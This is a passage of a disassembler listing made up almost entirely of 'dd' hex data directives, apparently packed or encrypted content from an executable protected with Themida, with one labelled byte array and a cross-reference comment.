		dd 0EA49E3C0h, 98677DE2h, 1F855373h, 13ED2D52h,	1A661132h
		dd 156688B6h, 1563AC32h, 1F1A2232h, 0FD7BEA70h,	15668826h
		dd 9D5BCD14h, 0DC405D3Fh, 7053E827h, 0C4750CEEh, 0FDEE2626h
		dd 9E077C68h, 0F64D988Fh, 9400E838h, 1AFF98D1h,	9E07DB8Dh
		dd 0F672D487h, 7EF8738h, 0FC664432h, 1566223Fh,	0A78A4409h
		dd 0CD60F883h, 0F7A899Fh, 1AC2D17Eh, 156605B6h,	15696132h
		dd 71354432h, 2B7D67h, 0A57EBCD7h, 939F2C7Ch, 68D3CFC7h
		dd 0E96CC12Ah, 9400719Fh, 0AB8152E0h, 46C87047h, 12DC7053h
		dd 94063E5Ch, 311B97F8h, 0FFE7065Dh, 31DB11CEh,	0FFA7CBC5h
		dd 0C68C0934h, 47649204h, 4F9A64BDh, 751CA552h,	15669BDBh
		dd 9973DE32h, 6E04D65h,	0C58A82E9h, 0A3A0985Ch,	0E0C9D0E8h
		dd 0D40743CEh, 1A0614F2h, 15668BB8h, 0C6ED2232h, 9AD97553h
		dd 0E209F520h, 0F6A109EDh, 0D43D9429h, 0E2E724D5h, 687B5824h
		dd 5C374FB3h, 0E2E71847h, 0B925CD8Eh, 982F861Fh, 109E893Dh
		dd 1AEB0DA5h, 0AD00426Dh, 0AA6954D0h, 9065E9FBh, 1F855AB3h
		dd 0CEACA352h, 731CD13Ch, 0B1335AB3h, 9CEBCF53h, 0FC6CC119h
		dd 15661121h, 67DA1889h, 25C74CE8h, 443BAFBDh, 3A3E903Eh
		dd 4724A14Ah, 94348EBBh, 764E0606h, 15E925BDh, 764EB8B3h
		dd 0FC3C70BDh, 1566223Bh, 604F54E5h, 0A2633CCh,	7306E9A4h
		dd 0A0E0ECB3h, 7D3470C7h, 119B9D4Ah, 6D8CC568h,	9C62DF27h
		dd 1EDED64h, 11A20916h,	0E9664432h, 0D1B97BBh, 969E1BD1h
		dd 906977CAh, 156644BBh, 0C858A3CEh, 1ABBCCEFh,	1566F4B7h
		dd 9A692432h, 15662230h, 44073183h, 7D260F8Bh, 94BFB354h
		dd 574163C3h, 60A7907Fh, 477D6737h, 0D1FBE988h,	4FB713C2h
		dd 1A3F1FBBh, 156680B6h, 17E04B32h, 75662232h, 53167953h
		dd 19EF8832h, 1562FD16h, 0DB672232h, 7E71E6Bh, 0FC668832h
		dd 1566443Fh, 46BB66EDh, 22AE4703h, 0BD70DE75h,	68D3CDF9h
		dd 0FC6CC12Ah, 15661139h, 875EBB03h, 8659CBC0h,	0FCDAE302h
		dd 0EA99C257h, 16A649CBh, 1567C33Dh, 169F2232h,	0F67890B7h
		dd 0A8E57138h, 1F855807h, 5FE22D33h, 0E9661131h, 0BFCCB6B3h
		dd 9069EE98h, 156622F0h, 4535EDCAh, 0FD1E395Ah,	0B84B1C78h
		dd 9C2CCA4Ah, 0CB6749F1h, 15616169h, 50B74432h,	0B7CCE151h
		dd 0D7D94644h, 4457985Ch, 0A05F638Bh, 0CDAFA329h, 947E4601h
		dd 7B188EDBh, 987C52Bh,	0E2663126h, 1287D0EBh, 94A749B3h
		dd 0DA6F2146h, 1691A36Bh, 5A140F06h, 946E67F3h,	0EDFDF1F5h
		dd 0E918ABCDh, 188F716Dh, 32668832h, 0C8EEA97Fh, 0CB07CBFDh
		dd 26CD3831h, 0ED57E9CEh, 0ED578303h, 74064252h, 15669D3Dh
		dd 9F078832h, 0A2D625D7h, 5D17154h, 4E00E912h, 1F8FAF1Eh
		dd 69664432h, 0EA5399BBh, 0C38C8F5Dh, 152261F0h, 68F4432h
		dd 0A7662232h, 0F57B1459h, 9FF099Dh, 2B53DC14h,	5728DFFh
		dd 42367AFEh, 315A036Ah, 156280B3h, 44932232h, 9D34F987h
		dd 4F9600DCh, 1576AD6Bh, 68632232h, 0BAA618F7h,	0EF6C2C53h
		dd 32B2E5B6h, 5C0ED36Bh, 9C66117Ch, 18FAC36h, 9F664432h
		dd 0C643B760h, 4661A81Ch, 5A58AFD1h, 3C928BA0h,	96FE0854h
		dd 0F64F6C8Fh, 91698938h, 1566451Dh, 1560AB3Dh,	0EC061132h
		dd 74BE0354h, 23352C60h, 0AD3C1B7Fh, 0D3D4DB9Fh, 0FC3C5833h
		dd 15664437h, 747D0DC3h, 6DB92EAh, 156C62C0h, 1556C03Dh
		dd 1D8F2232h, 33661132h, 774CF8D7h, 98F8427Ch, 0FF6EEFAFh
		dd 19EC1E38h, 0FC668832h
		dd 15664435h, 54278CF8h, 0EA69E320h, 0AA69E8E1h, 2EDE22F5h
		dd 2AE64306h, 52E21EA2h, 1A668832h, 15664CBEh, 17E02D32h
		dd 75661132h, 10D8DE53h, 14664432h, 3152A9C5h, 1A62D5B1h
		dd 15669CB2h, 1569AD32h, 0F7D92232h, 0D32C5112h, 5730539Ah
		dd 2B0EE0FDh, 141DCBB8h, 0FC9E1132h, 15668834h,	0AE030E9Bh
		dd 0EDE568D3h, 61E41E62h, 0FC668832h, 1566443Dh, 4BA9BEFDh
		dd 0FF348E1h, 4F13E559h, 472029D0h, 0DFE67080h,	0D7949132h
		dd 1ED58BAh, 11A2C516h,	0EC662232h, 11EDE998h, 0F0EFDD16h
		dd 156281B3h, 0D0E72232h, 15661136h, 4942A4B5h,	17EF4B52h
		dd 46662232h, 156EF868h, 0AB918832h, 0DE5400DCh, 1A073A2Ch
		dd 156610B5h, 0E9CC7432h, 1566E5DBh, 156FCB32h,	0E7A01132h
		dd 62FE80A9h, 9E12C74Eh, 9C370636h, 11A790D3h, 94668832h
		dd 156640F3h, 316AA532h, 0BF93E46Eh, 15610D3Dh,	9B694432h
		dd 15662233h, 0EA1991CEh, 76E387DBh, 75664432h,	4BDE7B65h
		dd 7402E7FFh, 0E77535B1h, 1A664ED8h, 15660BB6h,	0CEE1E32h
		dd 1A668832h, 156657BBh, 1568CB32h, 4AA61132h, 0F434A3Ch
		dd 53A33CE9h, 51F34910h, 12C98CBFh, 0EA9F82D8h,	4637B8E1h
		dd 0CCEEE1BAh, 11299969h, 19E9876Bh, 1A664432h,	156624B2h
		dd 15E01E32h, 1A668832h, 156645B0h, 90EDDB32h, 1F853ABBh
		dd 156E6152h, 0E8E54432h, 81CF7187h, 0A2694DC6h, 4A4BE9CAh
		dd 3853EF56h, 36E950ECh, 0CB63E91Bh, 10450740h,	20CD206Dh
		dd 1567AC3Dh, 449E1132h, 15668C8Bh, 9EAE6D32h, 0D1E7063Eh
		dd 15661136h, 15669ADBh, 0AB42FA32h, 4A94E0CFh,	0CF557A32h
		dd 964BB8DDh, 0BE1C5C05h, 138F8FCBh, 12661132h,	28417059h
		dd 69DC16B4h, 0D26ECC33h, 141AED74h, 434F80DCh,	0FC9E1ECEh
		dd 0EA99D9EEh, 1567963Dh, 9C9E8832h, 0F67E3987h, 1569CB38h
		dd 1F991132h, 0C20A9A71h, 15EECE2Fh, 0D8BA9E08h, 0F3EF47C7h
		dd 15624EB3h, 0FBE74432h, 15662236h, 494225B5h,	1A429CBBh
		dd 156645B2h, 150ED732h, 1A6611B2h, 156685B2h, 156EAD32h
		dd 1812232h, 1C7D461Ah,	150C2B7Ch, 15664ADBh, 0E216EA32h
		dd 12A08207h, 2D7E2DE4h, 0EA81C633h, 0F665B787h, 0D7E67138h
		dd 0A7D0DE1Ah, 8099256Ah, 1F8530E3h, 3152EECAh,	11A20B68h
		dd 156655DBh, 31A13532h, 0DD55D003h, 0C206D678h, 5C692783h
		dd 98EDC551h, 1F853EC3h, 1567013Dh, 479E4432h, 67759A62h
		dd 8A53026Eh, 3846246Dh, 269669BEh, 9C3EE0BBh, 73064B23h
		dd 0FD0651B9h, 1566443Eh, 47FCFFC7h, 0BDF40F37h, 75147A55h
		dd 743D126Bh, 11DD7153h, 14661132h, 317A03EBh, 156280B3h
		dd 9C692232h, 1566112Bh, 15669CDBh, 0E4B1C32h, 5F1E585Dh
		dd 6F49BB5Ch, 52DA7B0Ah, 0E1ECB537h, 0E4EBAB88h, 0FC6CF21Dh
		dd 15668823h, 2AB2BDC0h, 0DEF58AFCh, 0D0C4C2CBh, 4E6179CAh
		dd 0DD72AD54h, 48FDDCDh, 0CA661132h, 0F82BAF7Ah, 0FCA999BAh
		dd 3C65FC53h, 5DFC2299h, 154F5FDBh, 6EB4B32h, 0FC662232h
		dd 1566113Ch, 0D8125CB2h, 9E3BABCFh, 0B17E93D8h, 0EC06E021h
		dd 156699DBh, 0C7584432h, 6F0F5ADDh, 0F78E0E80h, 78A3D111h
		dd 98EDB92Dh, 1F850DC3h, 15729F3Dh, 1A8F8832h, 0D4664432h
		dd 0AA1DD054h, 6D0688CFh, 0B87E6822h, 2499963Fh, 94422EB9h
		dd 156615F6h, 108FE832h, 0AD664432h, 507E2A29h,	156600DBh
		dd 6D86B832h, 3F8D97A2h, 5DAF41D9h, 0DC73C8D3h,	9C07B308h
		dd 0FF944BBFh, 1F8F4238h, 93661132h, 4B5D93ABh,	0C46D0DD5h
		dd 778C996Eh, 9407294Bh, 5132C60Ah, 60E34B7Eh, 0E0662232h
		dd 111E9054h, 9069A67Eh, 1566445Ah, 156633DBh, 0CF940E32h
		dd 0EA51F8BAh, 661338C3h, 33504927h, 9C37F7B0h,	0DFEFDAF3h
		dd 4C3C92BBh, 156625DBh, 0CB810C32h, 0A498C33Bh, 9C62A8B1h
		dd 13DC0626h, 14661132h, 9369D2E4h, 15664429h, 0FBE74452h
		dd 1B8EAAACh, 1668832h,	6F1874F8h, 71FF9D3h, 4ACBF328h
		dd 9E07D0A7h, 0F67D05B7h, 0CB8FDE38h, 0E9661136h, 1CDDDB62h
		dd 3C630957h, 4E62066Eh, 1CA0906Ch, 1A63C557h, 156645B7h
		dd 9C30D732h, 9E9498F4h, 0D1E5AC06h, 0AA692436h, 156CCBC1h
		dd 0BB741132h, 0D1EBDCEBh, 0F6D2EEF7h, 0ECAF1353h, 9669ED9Eh
		dd 15668833h, 1A6678CBh, 15677EB6h, 1569F832h, 27B08832h
		dd 0EB47687h, 0EEF769C8h, 0A7A11A8h, 1A4BB4A0h,	0EA9997B6h
		dd 1574CBCDh, 1871132h,	4BCB7300h, 0D9C69813h, 0C9484E29h
		dd 547DBB5h, 9169A60Eh,	15664483h, 4A3742CBh, 156617DBh
		dd 4DB66E32h, 74849F26h, 9769120Eh, 15661587h, 156B083Dh
		dd 0AF064432h, 124B91DBh, 1566933Dh, 29078832h,	94E04B0Bh
		dd 7599DDCDh, 0A239E461h, 545AE9EDh, 11EDC63Dh,	299A2232h
		dd 7CE01E68h, 759977CDh, 0AB93B7B2h, 1A429059h,	1A392D53h
		dd 0EA99DFB6h, 996924CDh, 15662233h, 0AA6946CAh, 2907D2CBh
		dd 4FE44B53h, 1A662236h, 156607BBh, 15776132h, 0E5294432h
		dd 0E35FACB4h, 6A45D930h, 13C5C34Eh, 297B38EBh,	8E02D48h
		dd 1A99EECDh, 156686B8h, 94692432h, 15662232h, 0CADEF7B3h
		dd 0FC07DE3Dh, 1566402Fh, 14DE72CBh, 14661132h,	68FD0F0h
		dd 10664432h, 0A791D590h, 0CD218868h, 0E4190606h, 0E821E0CEh
		dd 0E75FFCE3h, 1695953Dh, 9E068832h, 0E5ED22EBh, 0EAD87453h
		dd 1499EECDh, 18FD6C0h,	59664432h, 8865D06Ch, 9893A61Dh
		dd 62A81C69h, 0DFA9ACD0h, 92D4214Bh, 0FC5754DBh, 0FC574503h
		dd 15664EDBh, 84403532h, 562360BAh, 0FC7E06C5h,	0EA99BAA6h
		dd 1AAFA7CEh, 1565B5B6h, 0E58732h, 1A664432h, 15662DB8h
		dd 156CF832h, 456F8832h, 7AC671C0h, 895DE3DBh, 12FBA4BFh
		dd 730682D1h, 0B7FEAAB3h, 1565AA3Dh, 0AA691132h, 4736E9E9h
		dd 4DA7CD6Ah, 156632DBh, 62209132h, 327DEDD8h, 729FAD4h
		dd 0D93A95B2h, 118A9225h, 4A429CBBh, 1577AC52h,	0F392232h
		dd 6488441Fh, 2E592FC1h, 41A00A10h, 952164E2h, 0A33DA6FDh
		dd 1B8FE97Ah, 17664432h, 0D4ED8023h, 0E83954F7h, 0A30085CBh
		dd 7AD01688h, 0D53CD2BAh, 365212DAh, 1567013Dh,	1A9F4432h
		dd 15662AB9h, 0DBE77132h, 70FC456Dh, 0E813EA53h, 0AD00DA52h
		dd 1A07850Fh, 156680B8h, 17E24B32h, 75662232h, 7D8F9053h
		dd 3C46C968h, 7DD812CBh, 14466368h, 198F4FC3h, 75668832h
		dd 0B53B8624h, 0DF68F5F5h, 7D75C6C0h, 15668832h, 0FF4240B3h
		dd 3C3E675Ah, 39E7353Eh, 500E6216h, 9E691D6Ah, 1566222Eh
		dd 15709C3Dh, 48F8832h,	56664432h, 0D904922Eh, 9DC4B6Fh
		dd 3E63A9ABh, 668CF96Bh, 19C09860h, 0C7915ACDh,	51C17AB3h
		dd 0E7E732F4h, 3DD72D0Eh, 813BE3B3h, 0C267624Dh, 94A96D68h
		dd 1D4ABDDDh, 0F9E5E432h, 315A0136h, 0FC381B64h, 15662221h
		dd 0E28DEF17h, 82147BF4h, 0D3617258h, 7F11E4B1h, 0E66F0524h
		dd 0A5367096h, 9D356861h, 11EDDD75h, 11A29016h,	0EC668832h
		dd 88F3C9CEh, 0FC6CC135h, 15661135h, 0C612BA1Dh, 9E9C32BDh
		dd 0F64FBBB7h, 1569F838h, 0D9678832h, 69E305B8h, 0EF7F4B3Bh
		dd 43381983h, 157561FDh, 0D6754432h, 10751AA8h,	62980807h
		dd 39E71020h, 64F4F536h, 1AA6A77Dh, 15669AB7h, 19E88732h
		dd 1A664432h, 156624B0h, 15E11E32h, 0D3668832h,	0F67AB5B7h
		dd 0AA066538h, 220D4491h, 1A06E9CAh, 6ED08385h,	0B2B44A53h
		dd 9669C5A8h, 15668835h
		dd 1567CA3Dh, 0EA932232h, 0F6490087h, 15696138h, 6D394432h
		dd 0DECDE34Bh, 2B4F8DE3h, 96A5426Bh, 91DC24DFh,	733F2656h
		dd 74373688h, 0B9950DBFh, 138F4ED4h, 0CA662232h, 3E2E0A5h
		dd 75B6778Ch, 258BC452h, 15662EDAh, 2DF5B632h, 40453640h
		dd 4D3BEEB6h, 74077C29h, 10869862h, 15668836h, 9262ACB1h
		dd 9C3A0636h, 108F3526h, 65668832h, 1D69D83Dh, 7306F2CDh
		dd 0DB4BE2B3h, 90070C82h, 0A7E34BF2h, 1A662232h, 156619BCh
		dd 9400E832h, 0ECF32BC1h, 0A0E3A953h, 0FC6CF223h, 1566883Eh
		dd 0DAF40B0Ch, 3F000BC6h, 314438AAh, 906948B7h,	15664408h
		dd 0E4E3E4C7h, 596CF22Eh, 98FE0CAh, 9C699DE8h, 15662230h
		dd 0A0997052h, 1F85A723h, 0E6E3C9CAh, 0E96CC49Eh, 0FC9EC1CDh
		dd 1566883Ch, 0F27F28CEh, 4620F6A8h, 0A36F2282h, 9C373819h
		dd 11A7C5D3h, 96662232h, 19E115DBh, 1EFD416h, 156CAD16h
		dd 0E8BD2232h, 8E7D28AFh, 8347D081h, 909A94CDh,	0BE32DF2h
		dd 0FC661132h, 15668821h, 839C28B5h, 850F3CD8h,	0B6C31248h
		dd 0F54A754Ah, 0FC07B6D6h, 1566224Bh, 1AE398C7h, 0ED6C62C0h
		dd 9481CD65h, 156626F5h, 11899032h, 92668832h, 9C3A600Eh
		dd 1A930636h, 15661AB9h, 15606132h, 0E6EA4432h,	0E8B0CDE2h
		dd 154BD55Ah, 31520132h, 6FBEC552h, 74706238h, 0D11094BFh
		dd 0EA9A82D4h, 0D56DB1E2h, 1578A73Dh, 0FC9E1132h, 15668813h
		dd 156657DBh, 97003332h, 0C92B9594h, 326643DEh,	0FF1339C7h
		dd 0B09F07C9h, 94255BBh, 0DFD7E8CEh, 0D69F2553h, 926942C7h
		dd 15661133h, 98ED74CAh, 1F8CB63Dh, 156629DBh, 5870E432h
		dd 0D9772CD4h, 0E729DA88h, 156ACB52h, 74611132h, 623B4BBEh
		dd 4EC0E719h, 916914C5h, 15661134h, 1566033Dh, 7D074432h
		dd 15667EC1h, 0E94215BBh, 1567083Dh, 44934432h,	0C74226B3h
		dd 9E08A832h, 0D1E7AC36h, 15664436h, 0AC66F01Fh, 1575F85Ch
		dd 9388832h, 0DE1E752Fh, 699BEADEh, 0A79C41F3h,	0E2D3B1ADh
		dd 14E14B52h, 0ED662232h, 155AAB60h, 0D7678832h, 1566FD63h
		dd 0C4672232h, 4F3F1031h, 9DDFD9CAh, 14664432h,	9457DDF3h
		dd 7C61351Eh, 943CC2A1h, 860F43F0h, 95697B78h, 15661135h
		dd 1567063Dh, 9C9A4432h, 0F64047A7h, 1560F838h,	0B9CB8832h
		dd 0E5CA8871h, 4C299F67h, 0D0E72B33h, 0D0982F9Bh, 39EDAC33h
		dd 11A2A316h, 0FC661132h, 15668822h, 6B9B460Fh,	32D34B8Fh
		dd 0B2EF7162h, 88A6AFD7h, 156AFD63h, 0D4672232h, 11E720CDh
		dd 7A5E4116h, 0FFE71E26h, 1091AFBh, 1569F86Bh, 0D28E8832h
		dd 8F31D51Dh, 94D1056h,	64B4516Ah, 0B8F301BDh, 0FC6CA717h
		dd 1566223Bh, 0D96B3EE1h, 469744E4h, 3152BB97h,	11A2A36Ah
		dd 0FC661132h, 15668820h, 4DD3A491h, 6BECE131h,	12BCCA1Eh
		dd 0CE86C108h, 61999BDCh, 11ED0616h, 11A29016h,	0FC668832h
		dd 15664422h, 717CE6FEh, 6C704880h, 0AD77F075h,	8E24AE30h
		dd 156636DBh, 7B96F632h, 3BCFB542h, 0A3651905h,	541FDA4Fh
		dd 0BF043FA8h, 6B938DF9h, 7D4B2B31h, 3C7A8847h,	600E14FAh
		dd 0E04B9498h, 1A09474Ch, 156623B7h, 905DED32h,	1F85AD9Fh
		dd 1504C63Dh, 2E9F2232h, 0F64074B7h, 40E58738h,	75664432h
		dd 890E8B8Ch, 0CE61E1Dh, 0FC668832h, 15664426h,	56D12F02h
		dd 0A0734CDBh, 4F9E8049h, 6C6C5965h, 93FB5AF1h,	94007153h
		dd 735338E8h, 74C5F88Ah, 1EF2D53h, 75661132h, 156682DBh
		dd 0F94F0E32h, 1EF5CA14h, 1A898C71h, 0D7077B85h, 1A064436h
		dd 749AFA85h, 1569F853h, 23638832h, 2102007Ah, 0FC009488h
		dd 16443F68h, 31624FFFh, 5AA69BCh, 12420EF3h, 0EA4225B3h
		dd 0EA532366h, 0AD366036h, 5FA70E51h, 11425533h, 314A096Ah
		dd 54952FF2h, 0AD4226B3h, 0E0A7B640h, 1142CCF5h, 6857C2Dh
		dd 11424EF3h, 313AE631h, 310A4936h, 51E74336h, 35F12616h
		dd 79A77C85h, 94618C16h, 5A62605Eh, 0ED66FD56h,	3E3AAE65h
		dd 0A833D253h, 4F076F53h, 3C3BCABBh, 188F4ECAh,	38668832h
		dd 5E3C3069h, 7F62AD83h, 0B6738A57h, 5B0805BFh,	0EA9F4ED1h
		dd 0EC06D7D3h, 1566AA61h, 0E6678832h, 1566FE60h, 0CF672232h
		dd 4E3C13B8h, 15668EDBh, 2B4FD832h, 29A5E86Bh, 48E21EDBh
		dd 0E0668833h, 15664EDBh, 6AE7BF32h, 8025D238h,	2947A47Eh
		dd 65E24BDAh, 0FC662233h, 15661123h, 6AA38B68h,	961989Ch
		dd 41FBC466h, 0EF7ABCD3h, 1A69B494h, 156670B6h,	0D85AD732h
		dd 14D9953Dh, 299E8832h, 0E2E24BD9h, 0FC662233h, 1566113Bh
		dd 0A56875E0h, 1223C16h, 0D69A43A5h, 15661DDBh,	81367332h
		dd 81E32DDFh, 6F73A2F2h, 14DF40E4h, 14668832h, 9E7FCEC3h
		dd 0D1E7063Eh, 15661136h, 1577063Dh, 198F4432h,	2B662232h
		dd 0DEB1EB3Dh, 28D7C17Fh, 75651112h, 7CA8A252h,	156618DBh
		dd 6DD1B432h, 64B8DB53h, 1A076171h, 4407E085h, 218E3862h
		dd 9DC64089h, 0F4B67AF3h, 9582F8B2h, 0DE467AC3h, 14ED4B6Bh
		dd 0EC662232h, 1AE6EAB2h, 0EA990CB7h, 9C34BCCDh, 0C0EF77C0h
		dd 4F3BFABBh, 157E053Dh, 68F4432h, 0F4662232h, 6EC2705h
		dd 0D3EED8ADh, 95E4744Ch, 4C6AAB75h, 0F9E797EAh, 15668836h
		dd 0A84268BBh, 15662234h, 0FC3BFA33h, 15668834h, 47E78247h
		dd 0AD3673A8h, 15661130h, 0DF2F2C1Fh, 10964538h, 1FAC6B96h
		dd 1A3E0931h, 156684B8h, 13EA4B32h, 1A662232h, 156611BAh
		dd 15FB6132h, 93694432h, 15662226h, 15689D3Dh, 1C8F8832h
		dd 48664432h, 6FB489B0h, 0B89222FFh, 9C6264B1h,	14DC6026h
		dd 14662232h, 4F7C9AC0h, 0EE9D0BC7h, 1582C03Dh,	198F2232h
		dd 83661132h, 0C6BA2CFh, 0A29A594h, 9461349Dh, 156615DEh
		dd 31520132h, 1CE94B69h, 75662232h, 0A0B09054h,	74AC0216h
		dd 1567FC62h, 594B2232h, 144B304Eh, 692A8DC2h, 0D656913h
		dd 0AB30D76Ah, 15661137h, 9F463B3h, 0E6672189h,	9F4E1B3h
		dd 75387489h, 0C4E6458Bh, 15E14B46h, 74662232h,	15679E3Dh
		dd 0FC938832h, 0EA99BA43h, 1575CBCBh, 0E5701132h, 6416DA95h
		dd 43E8696Fh, 46E34C8Dh, 44C71ACBh, 4BD087DAh, 1574AD33h
		dd 42042232h, 64EC4D47h, 8B297265h, 7CC826F8h, 909C3732h
		dd 1A48FAB1h, 0EA98BCB6h, 35DE24CDh, 4606FE61h,	0FC074FCBh
		dd 15668818h, 15664DDBh, 15484A32h, 4AB24852h, 6BE67A80h
		dd 9069BA33h, 0EA99DC3Fh, 156A913Dh, 0AE068832h, 354AB16Bh
		dd 0E7A7A354h, 0CC8F7019h, 0FC9977CEh, 1566443Bh, 0F620461Ch
		dd 473E7F9Ah
		db 79h
byte_608001	db 0E0h, 0F5h, 5Ah	; DATA XREF: Themida_:0058A1C9o
		dd 21EF4432h, 3EE2D16h,	75661132h, 156680DAh, 0B90E932h
		dd 827DD7EFh, 9F6949AFh, 15668832h, 70502C53h, 19EF2232h
		dd 9C30E816h, 11A009D4h, 94664432h, 156626DCh, 31529632h
		dd 317A016Eh, 156650DBh, 87F10832h, 7D84E615h, 8A02C5CEh
		dd 0DF37B789h, 0E9E3E379h, 9C35E94Ah, 11A509D1h, 96664432h
		dd 9E126D9h, 29EF4D16h,	9069E816h, 15664432h, 0D55743CBh
		dd 14EF1ECEh, 0E0668832h, 1C8FBC9Eh, 91662232h,	14DB3789h
		dd 0E0291F7Fh, 9DA4CC60h, 3172A9E1h, 1A62D5B1h,	15668CB7h
		dd 0D6ED2432h, 0A7347253h, 3DDDA5F9h, 0F646D2E6h, 0EEE6B16Ah
		dd 6E22D42h, 1A661134h,	156684B0h, 13EB4B32h, 1A662232h
		dd 156611BEh, 1A69B432h, 156778B6h, 14EB2D32h, 0ED661132h
		dd 9169610Eh, 15664F71h, 156632DBh, 8D114532h, 0F6A0EFDEh
		dd 0CBC1581Ah, 0C9EA0E7Bh, 14EA1E0Fh, 0EC668832h, 9169AF0Eh
		dd 15662D05h, 1A852DCEh, 156568B6h, 1B8E2432h, 5A662232h
		dd 2535D7E5h, 472BC233h, 0AFF474DCh, 15EB2D56h,	4E661132h
		dd 74B60354h, 9169A60Eh, 1566329Fh, 1574943Dh, 188F8832h
		dd 25664432h, 7E9557CEh, 0B2359AF6h, 0BD41F5EDh, 464278B9h
		dd 0D6E7C1BBh, 15661136h, 15624BB3h, 9E14432h, 94697E16h
		dd 1566113Eh, 15600E3Dh, 95694432h, 15662232h, 4E4225CDh
		dd 75624CB1h, 2C082B3h,	48E4657h, 5661132h, 519A9986h
		dd 957AB7AAh, 6F811B63h, 0CF4A1EB2h, 156698DBh,	0FBC92332h
		dd 0AA56D359h, 8CA91C6Ah, 23F47C10h, 9E071ACDh,	9C31063Eh
		dd 11A190D5h, 94668832h, 156640F5h, 315AA532h, 6E31E6Eh
		dd 0FC668832h, 1566443Ch, 0BDA81DE6h, 0C69FDAA1h, 0E49E4D90h
		dd 21ED1F35h, 0F3EF7416h, 1562D7B3h, 0D3E58832h, 3152C336h
		dd 1FE32D6Eh, 75661132h, 31850954h, 8A91C48Ch, 0AA004253h
		dd 9E30197Ch, 0D607D3C8h, 0CAE383CEh, 136CC8C0h, 75661132h
		dd 17840954h, 0E3E722E7h, 7D07A4C0h, 15660B0Ah,	0AC4284BBh
		dd 15664432h, 0CECD333h, 1A8F716Bh, 74668832h, 0C231003Bh
		dd 67319BECh, 0F414DCE1h, 0C3E73751h, 173CCCF2h, 74D14A53h
		dd 1EF1132h, 35963E16h,	73061EC1h, 22D3E8B9h, 959D9153h
		dd 0EBB80D3Dh, 9469BBCDh, 15662221h, 15661FDBh,	9A607932h
		dd 6E00AC31h, 8E7C47B1h, 4427CDA2h, 0EA99778Bh,	4CA845CDh
		dd 0CA89A52h, 97691BADh, 15668826h, 15664BDBh, 77202732h
		dd 69038420h, 64AFE5Bh,	4C14116Bh, 1560CB53h, 15A51132h
		dd 0FCF50EDDh, 1BFC1B9h, 0AD0628D1h, 4BA23565h,	0D7823254h
		dd 30F3CF53h, 0E96CC107h, 31629064h, 1A31F9E2h,	964258B9h
		dd 0FEE726F6h, 1A3160E2h, 15669CDBh, 1D27D332h,	25954E7Ch
		dd 23037653h, 0C8FF785Ah, 26F797E4h, 13D8742Ah,	14661132h
		dd 315203C1h, 156280B3h, 479A2232h, 53A6A863h, 0FCE7BA89h
		dd 249F0562h, 1014D3B3h, 0DFEF11F0h, 1694896Bh,	48F1E28h
		dd 67662232h, 0E5297D18h, 0E35F06B4h, 6A458C30h, 13C5694Eh
		dd 9769C909h, 1566880Ah, 156CC13Dh, 94062232h, 1A2855E2h
		dd 74B5034Dh, 93699E09h, 0EA99DFDAh, 0EEED7752h, 9E06E9CAh
		dd 1577ADC5h, 82F62232h, 400A498Ah, 9445C205h, 0D3F7F8B7h
		dd 74E7F2D7h, 3AF8FAB3h, 0D6E7B15Ch, 71C074ADh,	0FEE7D91Bh
		dd 71C021ADh, 3AF84BB3h, 47937D5Ch, 15662488h, 848D9032h
		dd 3C6DA41Ch, 84A5C5E1h, 4F6D0E1Ch, 156614DBh, 754E1F32h
		dd 0B8000103h, 1567AA3Dh, 73931132h, 15606199h,	1F9D4432h
		dd 1FBB0725h, 118A9262h, 4D4294BBh, 1568AD69h, 63972232h
		dd 0C00F0CB6h, 99E9C161h, 6E034E83h, 156CCB99h,	9FFC1132h
		dd 0AD7A039Dh, 0B67077D5h, 11DE7263h, 9C661132h, 0DB67D0F3h
		dd 1E8F246Bh, 0CE662232h, 50D3C666h, 0E18BB7Dh,	9C0773B4h
		dd 9569060Eh, 1566113Fh, 156680DBh, 20496F32h, 6BFBC209h
		dd 3112986Fh, 14EE873Eh, 0EC664432h, 397F97BBh,	9A691BD1h
		dd 15668824h, 156655DBh, 52BD232h, 3633D11Dh, 3A005C48h
		dd 0D5453FF4h, 29EDF38Bh, 0F0EF4416h, 15624DB3h, 0D0E74432h
		dd 15662236h, 49423DB5h, 156A0D3Dh, 128F4432h, 6E662232h
		dd 4985CB5Dh, 2199C44Ah, 0D1E51F16h, 2199DA36h,	0D1E74816h
		dd 15668836h, 3152CFC7h, 9481AB65h, 156615F5h, 11A10932h
		dd 92664432h, 0FC3A060Eh, 15661137h, 627F9408h,	0F4EF1575h
		dd 1562E3B3h, 0D4E51132h, 316A0F36h, 0E04260B9h, 1567A33Dh
		dd 0FC9F1132h, 0EA9969B6h, 0AC002452h, 0AB0074F9h, 0AF07A727h
		dd 3BD864ECh, 0CAE38353h, 176CC8C0h, 0FC661132h, 1566883Ch
		dd 0FD287E7h, 0B9CF5946h, 2AD8470Dh, 9C36643Ah,	4D3D14C2h
		dd 157DAC3Dh, 95061132h, 58E96FAh, 0A3664432h, 0FD9F7C87h
		dd 0DFB27F3Eh, 0D8F1C3C2h, 4BA572BCh, 1BD02D53h, 959F91CAh
		dd 15030B3Dh, 949A4432h, 0A4898F1h, 47AD1040h, 4E25A688h
		dd 948C9577h, 0D33657F0h, 138CD03Bh, 644F7AB3h,	9424376Ah
		dd 0DFF60AD8h, 4FB53833h, 15670F3Dh, 479F4432h,	1C676088h
		dd 568C904Ch, 3C188133h, 73061EE1h, 0E907ECB9h,	1566AFDBh
		dd 188EE832h, 0A1664432h, 263D40EBh, 378AF4F8h,	0C3370F3Bh
		dd 1A3DABB8h, 4707D385h, 0D56FA063h, 0DCE68ED3h, 0DF97C48Dh
		dd 9562EBB2h, 0DFEE13C3h, 0DB84086Bh, 0FFE686CCh, 4FB70A3Ah
		dd 156679C7h, 39E78832h, 57727116h, 316A0B62h, 204215B3h
		dd 4C36CA26h, 156EC23Dh, 92692232h, 15661130h, 4235E952h
		dd 2003E35Ah, 0DAE77D70h, 610738Bh, 0F2A75FC5h,	1489C53Ah
		dd 9CEEBA0Dh, 0CC474EC9h, 156B6169h, 5CA54432h,	0B0531B2Dh
		dd 412A2CD7h, 94D4C624h, 3149D0D9h, 51A5A33Dh, 3C76D03Ch
		dd 518D09F9h, 9476853Ch, 3149B6F1h, 156BF83Dh, 3CAB8832h
		dd 21BDD23Fh, 0A86C5B91h, 9E5A68AFh, 0F67251B7h, 1C8F2438h
		dd 41662232h, 200395CCh, 1FA36C4Bh, 4A85C554h, 80ED43A6h
		dd 1F852417h, 156683DBh, 56456832h, 5E251B87h, 6F8E16CAh
		dd 1D8F35B1h, 1A674ED1h, 1565DCB6h, 12E61E32h, 1A668832h
